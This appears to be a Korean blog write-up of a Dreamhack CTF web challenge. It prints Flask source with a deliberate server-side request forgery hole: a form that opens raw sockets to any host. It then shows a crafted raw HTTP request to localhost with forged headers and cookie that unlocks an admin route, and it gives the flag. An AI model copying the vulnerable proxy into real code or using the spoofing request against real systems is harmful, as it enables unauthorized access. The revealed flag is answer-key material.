2021. 8. 11. 03:09ㆍWargame CTF/Dreamhack
문제
분석
Socket hostm port를 정하고 입력을 받고 있습니다.
코드
#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
import socket
app = Flask(__name__)
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/socket', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('socket.html')
elif request.method == 'POST':
host = request.form.get('host')
port = request.form.get('port', type=int)
data = request.form.get('data')
retData = ""
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(3)
s.connect((host, port))
s.sendall(data.encode())
while True:
tmpData = s.recv(1024)
retData += tmpData.decode()
if not tmpData: break
except Exception as e:
return render_template('socket_result.html', data=e)
return render_template('socket_result.html', data=retData)
@app.route('/admin', methods=['POST'])
def admin():
if request.remote_addr != '127.0.0.1':
return 'Only localhost'
if request.headers.get('User-Agent') != 'Admin Browser':
return 'Only Admin Browser'
if request.headers.get('DreamhackUser') != 'admin':
return 'Only Admin'
if request.cookies.get('admin') != 'true':
return 'Admin Cookie'
if request.form.get('userid') != 'admin':
return 'Admin id'
return FLAG
app.run(host='0.0.0.0', port=8000)
def admin 부분에서 아아피 때문에 Burp Suite를 이용해서는 풀지 못할거 같습니다.
socket입력 부분을 이용 하여 풀어보겠습니다.
참고.
HTTP 정리
HPPT 요청메서드HTTP 요청 메소드란?클라이언트가 웹 서버에게 사용자 요청의 목적/종류를 알리는 수단이다.GETGET메서드는 서버로부터 데이터를 취득하는 메서드 입니다 GET 메소드는 서버의 데이
velog.io
먼저 기본
POST /HTTP/1.1 에서
admin의 값을 변경할 예정이므로.
POST/admin HTTP/1.1
HOST: 연결
User-Agent=Admin Browser
DreamhackUser=admin
admin = true
조건문을 통과할 수 있게 변경.
클라이언트는 응답 헤더부분에
Content-Type: application/x-www-form-urlencoded 형식으로
Http Method는 POST, Content-Type이 application/x-www-form-urlencoded인 경우 body를 encoding하는게 맞을까?
Http Method는 POST, Content-Type이 application/x-www-form-urlencoded인 경우 body를 encoding하는게 맞을까? - postbodyEnc.md
gist.github.com
POST - HTTP | MDN
The HTTP POST method sends data to the server. The type of the body of the request is indicated by the Content-Type header.
developer.mozilla.org
userid=admin ( 길이 총 : 12)
Content-Length: 12
userid=admin
정답
DH{9bb7177b6267ff7288e24e06d8dd6df5}
'Wargame CTF > Dreamhack' 카테고리의 다른 글
[Dreamhack] simple_sqli - Write up (0) | 2021.08.17 |
---|---|
[Dreamhack] cookie (0) | 2021.08.11 |
[Dreamhack] basic_rop_x64 - Write Up (0) | 2021.08.01 |
[Dreamhack] basic_rop_x86 - Write Up (0) | 2021.07.31 |